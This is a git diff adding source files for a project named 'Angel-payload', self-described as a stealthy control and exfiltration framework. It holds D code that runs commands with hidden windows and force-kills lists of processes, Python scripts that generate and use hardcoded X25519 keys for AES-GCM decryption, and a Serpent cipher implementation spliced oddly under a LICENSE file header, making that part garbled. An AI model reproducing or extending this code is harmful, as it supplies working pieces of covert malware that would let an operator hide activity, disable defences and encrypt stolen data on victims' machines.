+// Internal imports
+import angel.utils.logging;
+// External imports
+import std.stdio;
+import std.process;
+import std.format;
+import core.thread.osthread;
+import core.sys.windows.windows;
+import std.conv : to;
+import std.range;
+import std.array;
+import std.string;
+import std.random;
+
+class Utils {
+ public static string generateRandomString(size_t length) {
+ string characters = "0123456789abcdefghijklmnopqrstuvwxyz";
+ auto rnd = Random();
+
+ auto randomChars = generate(() => characters[uniform(0, characters.length, rnd)]).take(length).array;
+
+ return to!string(randomChars);
+ }
+
+ public static void execute(string command) {
+ STARTUPINFOA si;
+ PROCESS_INFORMATION pi;
+
+ si.cb = STARTUPINFO.sizeof;
+ si.dwFlags = STARTF_USESHOWWINDOW;
+ si.wShowWindow = SW_HIDE;
+
+ if (!CreateProcessA(
+ null,
+ cast(char*)command.ptr,
+ null,
+ null,
+ false,
+ 0,
+ null,
+ null,
+ &si,
+ &pi
+ )) {
+ Logger.log(LogLevel.Error, format("Failed to create proc: %s", GetLastError()));
+ return;
+ }
+
+ WaitForSingleObject(pi.hProcess, INFINITE);
+ CloseHandle(pi.hProcess);
+ CloseHandle(pi.hThread);
+ }
+
+ private static void dieproc(string proc_name) {
+ Logger.log(LogLevel.Debug, format("Attempting to kill proc: %s", proc_name));
+ string command = format("cmd.exe /C taskkill /F /IM \"%s\"", proc_name);
+
+ execute(command);
+ }
+
+ public static void killproc(string[] ulist) {
+ Logger.log(LogLevel.Debug, format("Attempting to kill procs: %s", ulist));
+
+ Thread[] threads;
+
+ foreach (proc; ulist) {
+ auto t = new Thread(() => dieproc(proc));
+ threads ~= t;
+ t.start();
+ continue;
+ }
+
+ foreach (t; threads) {
+ joinLowLevelThread(t.id);
+ }
+
+ Logger.log(LogLevel.Debug, "All procs killed.");
+ }
+}
\ No newline at end of file
diff --git a/full/Angel-payload/decrypt.py b/full/Angel-payload/decrypt.py
new file mode 100644
index 0000000..604e806
--- /dev/null
+++ b/full/Angel-payload/decrypt.py
@@ -0,0 +1,99 @@
+import os
+from cryptography.hazmat.primitives import serialization
+from cryptography.hazmat.primitives.asymmetric import x25519
+from cryptography.hazmat.primitives.kdf.scrypt import Scrypt
+from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+from cryptography.hazmat.backends import default_backend
+
+private_key_hex = [
+ 0xA8,
+ 0x52,
+ 0x05,
+ 0xD2,
+ 0x9F,
+ 0x6B,
+ 0xD4,
+ 0x8B,
+ 0x08,
+ 0x64,
+ 0x59,
+ 0xE0,
+ 0xAB,
+ 0xD1,
+ 0x06,
+ 0x3D,
+ 0xCE,
+ 0xF2,
+ 0xEA,
+ 0xB7,
+ 0xEE,
+ 0x19,
+ 0x96,
+ 0x5A,
+ 0xD6,
+ 0x11,
+ 0xE5,
+ 0x3F,
+ 0x5E,
+ 0xA2,
+ 0x9C,
+ 0x58,
+]
+
+public_key_hex = [
+ 0x63,
+ 0x33,
+ 0xA2,
+ 0x5F,
+ 0x48,
+ 0xBB,
+ 0x69,
+ 0x8E,
+ 0x1A,
+ 0x90,
+ 0x02,
+ 0x83,
+ 0x20,
+ 0xD2,
+ 0x05,
+ 0x6A,
+ 0xA1,
+ 0x6E,
+ 0x37,
+ 0x2E,
+ 0xDD,
+ 0x84,
+ 0xB4,
+ 0x06,
+ 0x20,
+ 0xC8,
+ 0xBC,
+ 0xB6,
+ 0x82,
+ 0x17,
+ 0x81,
+ 0x51,
+]
+
+private_key_bytes = bytes(private_key_hex)
+public_key_bytes = bytes(public_key_hex)
+
+private_key = x25519.X25519PrivateKey.from_private_bytes(private_key_bytes)
+
+public_key = x25519.X25519PublicKey.from_public_bytes(public_key_bytes)
+
+shared_secret = private_key.exchange(public_key)
+
+kdf = Scrypt(
+ salt=os.urandom(16), length=32, n=2**14, r=8, p=1, backend=default_backend()
+)
+aes_key = kdf.derive(shared_secret)
+
+ciphertext = b""
+nonce = b""
+
+cipher = Cipher(algorithms.AES(aes_key), modes.GCM(nonce), backend=default_backend())
+decryptor = cipher.decryptor()
+decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()
+
+print("Decrypted Data:", decrypted_data)
diff --git a/full/Angel-payload/dub.json b/full/Angel-payload/dub.json
new file mode 100644
index 0000000..6626088
--- /dev/null
+++ b/full/Angel-payload/dub.json
@@ -0,0 +1,12 @@
+{
+ "authors": ["3xc"],
+ "version": "1.0.0",
+ "copyright": "Copyright © 2024, 3xc",
+ "description": "Versatile stealthy control and exfiltration framework",
+ "license": "MIT",
+ "name": "angel",
+ "targetType": "executable",
+ "targetPath": "dist",
+ "sourcePaths": ["angel"],
+ "libs": ["crypt32"]
+}
diff --git a/full/Angel-payload/generator.py b/full/Angel-payload/generator.py
new file mode 100644
index 0000000..9705e0c
--- /dev/null
+++ b/full/Angel-payload/generator.py
@@ -0,0 +1,25 @@
+from cryptography.hazmat.backends import default_backend
+from cryptography.hazmat.primitives import serialization
+from cryptography.hazmat.primitives.asymmetric import x25519
+
+private_key = x25519.X25519PrivateKey.generate()
+
+public_key = private_key.public_key()
+
+private_key_bytes = private_key.private_bytes(
+ encoding=serialization.Encoding.Raw,
+ format=serialization.PrivateFormat.Raw,
+ encryption_algorithm=serialization.NoEncryption(),
+)
+
+public_key_bytes = public_key.public_bytes(
+ encoding=serialization.Encoding.Raw, format=serialization.PublicFormat.Raw
+)
+
+
+def cast_bytes(byte_data):
+ return ", ".join(f"0x{byte:02x}" for byte in byte_data)
+
+
+print("Private Key:", cast_bytes(private_key_bytes))
+print("Public Key:", cast_bytes(public_key_bytes))
diff --git a/full/Angel-server/README.txt b/full/Angel-server/README.txt
new file mode 100644
index 0000000..473a0f4
diff --git a/vv1/LICENSE b/vv1/LICENSE
new file mode 100644
index 0000000..452b45c
--- /dev/null
+++ b/vv1/LICENSE
@@ -0,0 +1,16 @@
+MIT No Attribution
+
+Copyright
+ * Serpent was designed by Ross Anderson, Eli Biham and Lars Knudsen as a
+ * candidate algorithm for the NIST AES Quest.>
+ *
+ * For full details see the The Serpent home page
+ */
+@safe
+public struct Serpent
+{
+
+ public enum name = "Serpent";
+ public enum blockSize = 16;
+
+ private {
+ enum ROUNDS = 32;
+ enum uint PHI = 0x9E3779B9; // (sqrt(5) - 1) * 2**31
+
+ uint X0, X1, X2, X3; // registers
+ uint[(ROUNDS + 1) * 4] wKey;
+
+ //bool encrypting;
+ bool initialized = false;
+ }
+
+ /// Params:
+ /// forEncryption = `false`: decrypt, `true`: encrypt
+ /// userKey = Secret key.
+ /// iv = Not used.
+
+ void start(in ubyte[] userKey, in ubyte[] iv = null) nothrow @nogc
+ {
+ makeWorkingKey(userKey);
+ initialized = true;
+ }
+
+
+ public uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc
+ in {
+ assert(initialized, "Serpent engine not initialized");
+ assert(blockSize<=input.length, "input buffer too short");
+ assert(blockSize<=output.length, "output buffer too short");
+ }
+ body {
+ encryptb(input, output);
+
+ return blockSize;
+ }
+
+ public uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc
+ in {
+ assert(initialized, "Serpent engine not initialized");
+ assert(blockSize<=input.length, "input buffer too short");
+ assert(blockSize<=output.length, "output buffer too short");
+ }
+ body {
+ decryptb(input, output);
+
+ return blockSize;
+ }
+
+ public void reset() pure nothrow @nogc
+ {
+ }
+
+private:
+ /**
+ * Expand a user-supplied key material into a session key.
+ *
+ * Params:
+ * key The user-key bytes (multiples of 4) to use.
+ */
+ private void makeWorkingKey(in ubyte[] key) nothrow @nogc
+ in {
+ assert(key.length % 4 == 0, "key must be a multiple of 4 bytes");
+ }
+ body {
+ //
+ // pad key to 256 bits
+ //
+ uint[16] kPad;
+ size_t off = 0;
+ uint length = 0;
+
+ for (off = key.length - 4; off > 0; off -= 4)
+ {
+ kPad[length++] = fromBigEndian!uint(key[off..off+4]);
+ }
+
+ if (off == 0)
+ {
+ kPad[length++] = fromBigEndian!uint(key[0..4]);
+ if (length < 8)
+ {
+ kPad[length] = 1;
+ }
+ }
+ else
+ {
+ assert(false, "key must be a multiple of 4 bytes");
+ }
+
+ //
+ // expand the padded key up to 33 x 128 bits of key material
+ //
+ enum amount = (ROUNDS + 1) * 4;
+ alias wKey w;
+
+ //
+ // compute w0 to w7 from w-8 to w-1
+ //
+ foreach (i;8..16)
+ {
+ kPad[i] = rotateLeft(kPad[i - 8] ^ kPad[i - 5] ^ kPad[i - 3] ^ kPad[i - 1] ^ PHI ^ (i - 8), 11);
+ }
+
+ w[0..8] = kPad[8..16];
+
+ //
+ // compute w8 to w136
+ //
+ foreach(i;8..amount)
+ {
+ w[i] = rotateLeft(w[i - 8] ^ w[i - 5] ^ w[i - 3] ^ w[i - 1] ^ PHI ^ i, 11);
+ }
+
+ //
+ // create the working keys by processing w with the Sbox and IP
+ //
+ sb3(w[0], w[1], w[2], w[3]);
+ w[0] = X0;
+ w[1] = X1;
+ w[2] = X2;
+ w[3] = X3;
+ sb2(w[4], w[5], w[6], w[7]);
+ w[4] = X0;
+ w[5] = X1;
+ w[6] = X2;
+ w[7] = X3;
+ sb1(w[8], w[9], w[10], w[11]);
+ w[8] = X0;
+ w[9] = X1;
+ w[10] = X2;
+ w[11] = X3;
+ sb0(w[12], w[13], w[14], w[15]);
+ w[12] = X0;
+ w[13] = X1;
+ w[14] = X2;
+ w[15] = X3;
+ sb7(w[16], w[17], w[18], w[19]);
+ w[16] = X0;
+ w[17] = X1;
+ w[18] = X2;
+ w[19] = X3;
+ sb6(w[20], w[21], w[22], w[23]);
+ w[20] = X0;
+ w[21] = X1;
+ w[22] = X2;
+ w[23] = X3;
+ sb5(w[24], w[25], w[26], w[27]);
+ w[24] = X0;
+ w[25] = X1;
+ w[26] = X2;
+ w[27] = X3;
+ sb4(w[28], w[29], w[30], w[31]);
+ w[28] = X0;
+ w[29] = X1;
+ w[30] = X2;
+ w[31] = X3;
+ sb3(w[32], w[33], w[34], w[35]);
+ w[32] = X0;
+ w[33] = X1;
+ w[34] = X2;
+ w[35] = X3;
+ sb2(w[36], w[37], w[38], w[39]);
+ w[36] = X0;
+ w[37] = X1;
+ w[38] = X2;
+ w[39] = X3;
+ sb1(w[40], w[41], w[42], w[43]);
+ w[40] = X0;
+ w[41] = X1;
+ w[42] = X2;
+ w[43] = X3;
+ sb0(w[44], w[45], w[46], w[47]);
+ w[44] = X0;
+ w[45] = X1;
+ w[46] = X2;
+ w[47] = X3;
+ sb7(w[48], w[49], w[50], w[51]);
+ w[48] = X0;
+ w[49] = X1;
+ w[50] = X2;
+ w[51] = X3;
+ sb6(w[52], w[53], w[54], w[55]);
+ w[52] = X0;
+ w[53] = X1;
+ w[54] = X2;
+ w[55] = X3;
+ sb5(w[56], w[57], w[58], w[59]);
+ w[56] = X0;
+ w[57] = X1;
+ w[58] = X2;
+ w[59] = X3;
+ sb4(w[60], w[61], w[62], w[63]);
+ w[60] = X0;
+ w[61] = X1;
+ w[62] = X2;
+ w[63] = X3;
+ sb3(w[64], w[65], w[66], w[67]);
+ w[64] = X0;
+ w[65] = X1;
+ w[66] = X2;
+ w[67] = X3;
+ sb2(w[68], w[69], w[70], w[71]);
+ w[68] = X0;
+ w[69] = X1;
+ w[70] = X2;
+ w[71] = X3;
+ sb1(w[72], w[73], w[74], w[75]);
+ w[72] = X0;
+ w[73] = X1;
+ w[74] = X2;
+ w[75] = X3;
+ sb0(w[76], w[77], w[78], w[79]);
+ w[76] = X0;
+ w[77] = X1;
+ w[78] = X2;
+ w[79] = X3;
+ sb7(w[80], w[81], w[82], w[83]);
+ w[80] = X0;
+ w[81] = X1;
+ w[82] = X2;
+ w[83] = X3;
+ sb6(w[84], w[85], w[86], w[87]);
+ w[84] = X0;
+ w[85] = X1;
+ w[86] = X2;
+ w[87] = X3;
+ sb5(w[88], w[89], w[90], w[91]);
+ w[88] = X0;
+ w[89] = X1;
+ w[90] = X2;
+ w[91] = X3;
+ sb4(w[92], w[93], w[94], w[95]);
+ w[92] = X0;
+ w[93] = X1;
+ w[94] = X2;
+ w[95] = X3;
+ sb3(w[96], w[97], w[98], w[99]);
+ w[96] = X0;
+ w[97] = X1;
+ w[98] = X2;
+ w[99] = X3;
+ sb2(w[100], w[101], w[102], w[103]);
+ w[100] = X0;
+ w[101] = X1;
+ w[102] = X2;
+ w[103] = X3;
+ sb1(w[104], w[105], w[106], w[107]);
+ w[104] = X0;
+ w[105] = X1;
+ w[106] = X2;
+ w[107] = X3;
+ sb0(w[108], w[109], w[110], w[111]);
+ w[108] = X0;
+ w[109] = X1;
+ w[110] = X2;
+ w[111] = X3;
+ sb7(w[112], w[113], w[114], w[115]);
+ w[112] = X0;
+ w[113] = X1;
+ w[114] = X2;
+ w[115] = X3;
+ sb6(w[116], w[117], w[118], w[119]);
+ w[116] = X0;
+ w[117] = X1;
+ w[118] = X2;
+ w[119] = X3;
+ sb5(w[120], w[121], w[122], w[123]);
+ w[120] = X0;
+ w[121] = X1;
+ w[122] = X2;
+ w[123] = X3;
+ sb4(w[124], w[125], w[126], w[127]);
+ w[124] = X0;
+ w[125] = X1;
+ w[126] = X2;
+ w[127] = X3;
+ sb3(w[128], w[129], w[130], w[131]);
+ w[128] = X0;
+ w[129] = X1;
+ w[130] = X2;
+ w[131] = X3;
+ }
+
+ /**
+ * Encrypt one block of plaintext.
+ *
+ */
+ private void encryptBlock(in ubyte[] input, ubyte[] output) nothrow @nogc
+ {
+ X3 = fromBigEndian!uint(input[0..4]);
+ X2 = fromBigEndian!uint(input[4..8]);
+ X1 = fromBigEndian!uint(input[8..12]);
+ X0 = fromBigEndian!uint(input[12..16]);
+
+ sb0(wKey[0] ^ X0, wKey[1] ^ X1, wKey[2] ^ X2, wKey[3] ^ X3);
+ LT();
+ sb1(wKey[4] ^ X0, wKey[5] ^ X1, wKey[6] ^ X2, wKey[7] ^ X3);
+ LT();
+ sb2(wKey[8] ^ X0, wKey[9] ^ X1, wKey[10] ^ X2, wKey[11] ^ X3);
+ LT();
+ sb3(wKey[12] ^ X0, wKey[13] ^ X1, wKey[14] ^ X2, wKey[15] ^ X3);
+ LT();
+ sb4(wKey[16] ^ X0, wKey[17] ^ X1, wKey[18] ^ X2, wKey[19] ^ X3);
+ LT();
+ sb5(wKey[20] ^ X0, wKey[21] ^ X1, wKey[22] ^ X2, wKey[23] ^ X3);
+ LT();
+ sb6(wKey[24] ^ X0, wKey[25] ^ X1, wKey[26] ^ X2, wKey[27] ^ X3);
+ LT();
+ sb7(wKey[28] ^ X0, wKey[29] ^ X1, wKey[30] ^ X2, wKey[31] ^ X3);
+ LT();
+ sb0(wKey[32] ^ X0, wKey[33] ^ X1, wKey[34] ^ X2, wKey[35] ^ X3);
+ LT();
+ sb1(wKey[36] ^ X0, wKey[37] ^ X1, wKey[38] ^ X2, wKey[39] ^ X3);
+ LT();
+ sb2(wKey[40] ^ X0, wKey[41] ^ X1, wKey[42] ^ X2, wKey[43] ^ X3);
+ LT();
+ sb3(wKey[44] ^ X0, wKey[45] ^ X1, wKey[46] ^ X2, wKey[47] ^ X3);
+ LT();
+ sb4(wKey[48] ^ X0, wKey[49] ^ X1, wKey[50] ^ X2, wKey[51] ^ X3);
+ LT();
+ sb5(wKey[52] ^ X0, wKey[53] ^ X1, wKey[54] ^ X2, wKey[55] ^ X3);
+ LT();
+ sb6(wKey[56] ^ X0, wKey[57] ^ X1, wKey[58] ^ X2, wKey[59] ^ X3);
+ LT();
+ sb7(wKey[60] ^ X0, wKey[61] ^ X1, wKey[62] ^ X2, wKey[63] ^ X3);
+ LT();
+ sb0(wKey[64] ^ X0, wKey[65] ^ X1, wKey[66] ^ X2, wKey[67] ^ X3);
+ LT();
+ sb1(wKey[68] ^ X0, wKey[69] ^ X1, wKey[70] ^ X2, wKey[71] ^ X3);
+ LT();
+ sb2(wKey[72] ^ X0, wKey[73] ^ X1, wKey[74] ^ X2, wKey[75] ^ X3);
+ LT();
+ sb3(wKey[76] ^ X0, wKey[77] ^ X1, wKey[78] ^ X2, wKey[79] ^ X3);
+ LT();
+ sb4(wKey[80] ^ X0, wKey[81] ^ X1, wKey[82] ^ X2, wKey[83] ^ X3);
+ LT();
+ sb5(wKey[84] ^ X0, wKey[85] ^ X1, wKey[86] ^ X2, wKey[87] ^ X3);
+ LT();
+ sb6(wKey[88] ^ X0, wKey[89] ^ X1, wKey[90] ^ X2, wKey[91] ^ X3);
+ LT();
+ sb7(wKey[92] ^ X0, wKey[93] ^ X1, wKey[94] ^ X2, wKey[95] ^ X3);
+ LT();
+ sb0(wKey[96] ^ X0, wKey[97] ^ X1, wKey[98] ^ X2, wKey[99] ^ X3);
+ LT();
+ sb1(wKey[100] ^ X0, wKey[101] ^ X1, wKey[102] ^ X2, wKey[103] ^ X3);
+ LT();
+ sb2(wKey[104] ^ X0, wKey[105] ^ X1, wKey[106] ^ X2, wKey[107] ^ X3);
+ LT();
+ sb3(wKey[108] ^ X0, wKey[109] ^ X1, wKey[110] ^ X2, wKey[111] ^ X3);
+ LT();
+ sb4(wKey[112] ^ X0, wKey[113] ^ X1, wKey[114] ^ X2, wKey[115] ^ X3);
+ LT();
+ sb5(wKey[116] ^ X0, wKey[117] ^ X1, wKey[118] ^ X2, wKey[119] ^ X3);
+ LT();
+ sb6(wKey[120] ^ X0, wKey[121] ^ X1, wKey[122] ^ X2, wKey[123] ^ X3);
+ LT();
+ sb7(wKey[124] ^ X0, wKey[125] ^ X1, wKey[126] ^ X2, wKey[127] ^ X3);
+
+ toBigEndian!uint(wKey[131] ^ X3, output[0..4]);
+ toBigEndian!uint(wKey[130] ^ X2, output[4..8]);
+ toBigEndian!uint(wKey[129] ^ X1, output[8..12]);
+ toBigEndian!uint(wKey[128] ^ X0, output[12..16]);
+ }
+
+ /**
+ * Decrypt one block of ciphertext.
+ *
+ */
+ private void decryptBlock(in ubyte[] input, ubyte[] output) nothrow @nogc
+ {
+ X3 = wKey[131] ^ fromBigEndian!uint(input[0..4]);
+ X2 = wKey[130] ^ fromBigEndian!uint(input[4..8]);
+ X1 = wKey[129] ^ fromBigEndian!uint(input[8..12]);
+ X0 = wKey[128] ^ fromBigEndian!uint(input[12..16]);
+
+ ib7(X0, X1, X2, X3);
+ X0 ^= wKey[124];
+ X1 ^= wKey[125];
+ X2 ^= wKey[126];
+ X3 ^= wKey[127];
+ inverseLT();
+ ib6(X0, X1, X2, X3);
+ X0 ^= wKey[120];
+ X1 ^= wKey[121];
+ X2 ^= wKey[122];
+ X3 ^= wKey[123];
+ inverseLT();
+ ib5(X0, X1, X2, X3);
+ X0 ^= wKey[116];
+ X1 ^= wKey[117];
+ X2 ^= wKey[118];
+ X3 ^= wKey[119];
+ inverseLT();
+ ib4(X0, X1, X2, X3);
+ X0 ^= wKey[112];
+ X1 ^= wKey[113];
+ X2 ^= wKey[114];
+ X3 ^= wKey[115];
+ inverseLT();
+ ib3(X0, X1, X2, X3);
+ X0 ^= wKey[108];
+ X1 ^= wKey[109];
+ X2 ^= wKey[110];
+ X3 ^= wKey[111];
+ inverseLT();
+ ib2(X0, X1, X2, X3);
+ X0 ^= wKey[104];
+ X1 ^= wKey[105];
+ X2 ^= wKey[106];
+ X3 ^= wKey[107];
+ inverseLT();
+ ib1(X0, X1, X2, X3);
+ X0 ^= wKey[100];
+ X1 ^= wKey[101];
+ X2 ^= wKey[102];
+ X3 ^= wKey[103];
+ inverseLT();
+ ib0(X0, X1, X2, X3);
+ X0 ^= wKey[96];
+ X1 ^= wKey[97];
+ X2 ^= wKey[98];
+ X3 ^= wKey[99];
+ inverseLT();
+ ib7(X0, X1, X2, X3);
+ X0 ^= wKey[92];
+ X1 ^= wKey[93];
+ X2 ^= wKey[94];
+ X3 ^= wKey[95];
+ inverseLT();
+ ib6(X0, X1, X2, X3);
+ X0 ^= wKey[88];
+ X1 ^= wKey[89];
+ X2 ^= wKey[90];
+ X3 ^= wKey[91];
+ inverseLT();
+ ib5(X0, X1, X2, X3);
+ X0 ^= wKey[84];
+ X1 ^= wKey[85];
+ X2 ^= wKey[86];
+ X3 ^= wKey[87];
+ inverseLT();
+ ib4(X0, X1, X2, X3);
+ X0 ^= wKey[80];
+ X1 ^= wKey[81];
+ X2 ^= wKey[82];
+ X3 ^= wKey[83];
+ inverseLT();
+ ib3(X0, X1, X2, X3);
+ X0 ^= wKey[76];
+ X1 ^= wKey[77];
+ X2 ^= wKey[78];
+ X3 ^= wKey[79];
+ inverseLT();
+ ib2(X0, X1, X2, X3);
+ X0 ^= wKey[72];
+ X1 ^= wKey[73];
+ X2 ^= wKey[74];
+ X3 ^= wKey[75];
+ inverseLT();
+ ib1(X0, X1, X2, X3);
+ X0 ^= wKey[68];
+ X1 ^= wKey[69];
+ X2 ^= wKey[70];
+ X3 ^= wKey[71];
+ inverseLT();
+ ib0(X0, X1, X2, X3);
+ X0 ^= wKey[64];
+ X1 ^= wKey[65];
+ X2 ^= wKey[66];
+ X3 ^= wKey[67];
+ inverseLT();
+ ib7(X0, X1, X2, X3);
+ X0 ^= wKey[60];
+ X1 ^= wKey[61];
+ X2 ^= wKey[62];
+ X3 ^= wKey[63];
+ inverseLT();
+ ib6(X0, X1, X2, X3);
+ X0 ^= wKey[56];
+ X1 ^= wKey[57];
+ X2 ^= wKey[58];
+ X3 ^= wKey[59];
+ inverseLT();
+ ib5(X0, X1, X2, X3);
+ X0 ^= wKey[52];
+ X1 ^= wKey[53];
+ X2 ^= wKey[54];
+ X3 ^= wKey[55];
+ inverseLT();
+ ib4(X0, X1, X2, X3);
+ X0 ^= wKey[48];
+ X1 ^= wKey[49];
+ X2 ^= wKey[50];
+ X3 ^= wKey[51];
+ inverseLT();
+ ib3(X0, X1, X2, X3);
+ X0 ^= wKey[44];
+ X1 ^= wKey[45];
+ X2 ^= wKey[46];
+ X3 ^= wKey[47];
+ inverseLT();
+ ib2(X0, X1, X2, X3);
+ X0 ^= wKey[40];
+ X1 ^= wKey[41];
+ X2 ^= wKey[42];
+ X3 ^= wKey[43];
+ inverseLT();
+ ib1(X0, X1, X2, X3);
+ X0 ^= wKey[36];
+ X1 ^= wKey[37];
+ X2 ^= wKey[38];
+ X3 ^= wKey[39];
+ inverseLT();
+ ib0(X0, X1, X2, X3);
+ X0 ^= wKey[32];
+ X1 ^= wKey[33];
+ X2 ^= wKey[34];
+ X3 ^= wKey[35];
+ inverseLT();
+ ib7(X0, X1, X2, X3);
+ X0 ^= wKey[28];
+ X1 ^= wKey[29];
+ X2 ^= wKey[30];
+ X3 ^= wKey[31];
+ inverseLT();
+ ib6(X0, X1, X2, X3);
+ X0 ^= wKey[24];
+ X1 ^= wKey[25];
+ X2 ^= wKey[26];
+ X3 ^= wKey[27];
+ inverseLT();
+ ib5(X0, X1, X2, X3);
+ X0 ^= wKey[20];
+ X1 ^= wKey[21];
+ X2 ^= wKey[22];
+ X3 ^= wKey[23];
+ inverseLT();
+ ib4(X0, X1, X2, X3);
+ X0 ^= wKey[16];
+ X1 ^= wKey[17];
+ X2 ^= wKey[18];
+ X3 ^= wKey[19];
+ inverseLT();
+ ib3(X0, X1, X2, X3);
+ X0 ^= wKey[12];
+ X1 ^= wKey[13];
+ X2 ^= wKey[14];
+ X3 ^= wKey[15];
+ inverseLT();
+ ib2(X0, X1, X2, X3);
+ X0 ^= wKey[8];
+ X1 ^= wKey[9];
+ X2 ^= wKey[10];
+ X3 ^= wKey[11];
+ inverseLT();
+ ib1(X0, X1, X2, X3);
+ X0 ^= wKey[4];
+ X1 ^= wKey[5];
+ X2 ^= wKey[6];
+ X3 ^= wKey[7];
+ inverseLT();
+ ib0(X0, X1, X2, X3);
+
+ toBigEndian!uint(X3 ^ wKey[3], output[0..4]);
+ toBigEndian!uint(X2 ^ wKey[2], output[4..8]);
+ toBigEndian!uint(X1 ^ wKey[1], output[8..12]);
+ toBigEndian!uint(X0 ^ wKey[0], output[12..16]);
+ }
+
+ private void encryptb(in ubyte[] input, ubyte[] output) nothrow @nogc {
+ ubyte padding = cast(ubyte)(blockSize - (input.length % blockSize));
+ if (input.length % blockSize != 0) {
+ assert(output.length >= input.length + padding, "Output size must be pre-allocated to include padding");
+ } else {
+ assert(output.length == input.length, "Output size must match input size for full blocks");
+ }
+
+ output[0 .. input.length] = input[];
+
+ if (input.length % blockSize != 0) {
+ for (size_t i = input.length; i < output.length; i++) {
+ output[i] = padding;
+ }
+ }
+
+ ubyte[blockSize] blockOutput;
+ for (size_t i = 0; i < output.length; i += blockSize) {
+ auto blockInput = output[i .. i + blockSize];
+ encryptBlock(blockInput, blockOutput);
+ output[i .. i + blockSize] = blockOutput[];
+ }
+ }
+
+ private void decryptb(in ubyte[] input, ubyte[] output) nothrow @nogc {
+ assert(input.length % blockSize == 0, "Invalid encrypted data length");
+
+ assert(output.length == input.length, "Output size must be pre-allocated");
+
+ ubyte[blockSize] blockOutput;
+ for (size_t i = 0; i < input.length; i += blockSize) {
+ auto blockInput = input[i .. i + blockSize];
+ decryptBlock(blockInput, blockOutput);
+ output[i .. i + blockSize] = blockOutput[];
+ }
+
+ if (output.length > 0) {
+ ubyte padding = output[$ - 1];
+ if (padding > 0 && padding <= blockSize) {
+ for (size_t i = output.length - padding; i < output.length; i++) {
+ assert(output[i] == padding, "Invalid padding bytes");
+ }
+
+ auto finalLength = output.length - padding;
+ output = output[0 .. finalLength];
+ }
+ }
+ }
+
+ /**
+ * The sboxes below are based on the work of Brian Gladman and
+ * Sam Simpson, whose original notice appears below.
+ *
+ * For further details see:
+ * http://fp.gladman.plus.com/cryptography_technology/serpent/
+ */
+
+ /* Partially optimised Serpent S Box boolean functions derived */
+ /* using a recursive descent analyser but without a full search */
+ /* of all subtrees. This set of S boxes is the result of work */
+ /* by Sam Simpson and Brian Gladman using the spare time on a */
+ /* cluster of high capacity servers to search for S boxes with */
+ /* this customised search engine. There are now an average of */
+ /* 15.375 terms per S box. */
+ /* */
+ /* Copyright: Dr B. R Gladman (gladman@seven77.demon.co.uk) */
+ /* and Sam Simpson (s.simpson@mia.co.uk) */
+ /* 17th December 1998 */
+ /* */
+ /* We hereby give permission for information in this file to be */
+ /* used freely subject only to acknowledgement of its origin. */
+
+ /**
+ * S0 - { 3, 8,15, 1,10, 6, 5,11,14,13, 4, 2, 7, 0, 9,12 } - 15 terms.
+ */
+ nothrow @nogc {
+ void sb0(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = a ^ d;
+ uint t3 = c ^ t1;
+ uint t4 = b ^ t3;
+ X3 = (a & d) ^ t4;
+ uint t7 = a ^ (b & t1);
+ X2 = t4 ^ (c | t7);
+ uint t12 = X3 & (t3 ^ t7);
+ X1 = (~t3) ^ t12;
+ X0 = t12 ^ (~t7);
+ }
+
+ /**
+ * InvSO - {13, 3,11, 0,10, 6, 5,12, 1,14, 4, 7,15, 9, 8, 2 } - 15 terms.
+ */
+ void ib0(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = ~a;
+ uint t2 = a ^ b;
+ uint t4 = d ^ (t1 | t2);
+ uint t5 = c ^ t4;
+ X2 = t2 ^ t5;
+ uint t8 = t1 ^ (d & t2);
+ X1 = t4 ^ (X2 & t8);
+ X3 = (a & t4) ^ (t5 | X1);
+ X0 = X3 ^ (t5 ^ t8);
+ }
+
+ /**
+ * S1 - {15,12, 2, 7, 9, 0, 5,10, 1,11,14, 8, 6,13, 3, 4 } - 14 terms.
+ */
+ void sb1(uint a, uint b, uint c, uint d)
+ {
+ uint t2 = b ^ (~a);
+ uint t5 = c ^ (a | t2);
+ X2 = d ^ t5;
+ uint t7 = b ^ (d | t2);
+ uint t8 = t2 ^ X2;
+ X3 = t8 ^ (t5 & t7);
+ uint t11 = t5 ^ t7;
+ X1 = X3 ^ t11;
+ X0 = t5 ^ (t8 & t11);
+ }
+
+ /**
+ * InvS1 - { 5, 8, 2,14,15, 6,12, 3,11, 4, 7, 9, 1,13,10, 0 } - 14 steps.
+ */
+ void ib1(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = b ^ d;
+ uint t3 = a ^ (b & t1);
+ uint t4 = t1 ^ t3;
+ X3 = c ^ t4;
+ uint t7 = b ^ (t1 & t3);
+ uint t8 = X3 | t7;
+ X1 = t3 ^ t8;
+ uint t10 = ~X1;
+ uint t11 = X3 ^ t7;
+ X0 = t10 ^ t11;
+ X2 = t4 ^ (t10 | t11);
+ }
+
+ /**
+ * S2 - { 8, 6, 7, 9, 3,12,10,15,13, 1,14, 4, 0,11, 5, 2 } - 16 terms.
+ */
+ void sb2(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = ~a;
+ uint t2 = b ^ d;
+ uint t3 = c & t1;
+ X0 = t2 ^ t3;
+ uint t5 = c ^ t1;
+ uint t6 = c ^ X0;
+ uint t7 = b & t6;
+ X3 = t5 ^ t7;
+ X2 = a ^ ((d | t7) & (X0 | t5));
+ X1 = (t2 ^ X3) ^ (X2 ^ (d | t1));
+ }
+
+ /**
+ * InvS2 - {12, 9,15, 4,11,14, 1, 2, 0, 3, 6,13, 5, 8,10, 7 } - 16 steps.
+ */
+ void ib2(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = b ^ d;
+ uint t2 = ~t1;
+ uint t3 = a ^ c;
+ uint t4 = c ^ t1;
+ uint t5 = b & t4;
+ X0 = t3 ^ t5;
+ uint t7 = a | t2;
+ uint t8 = d ^ t7;
+ uint t9 = t3 | t8;
+ X3 = t1 ^ t9;
+ uint t11 = ~t4;
+ uint t12 = X0 | X3;
+ X1 = t11 ^ t12;
+ X2 = (d & t11) ^ (t3 ^ t12);
+ }
+
+ /**
+ * S3 - { 0,15,11, 8,12, 9, 6, 3,13, 1, 2, 4,10, 7, 5,14 } - 16 terms.
+ */
+ void sb3(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = a ^ b;
+ uint t2 = a & c;
+ uint t3 = a | d;
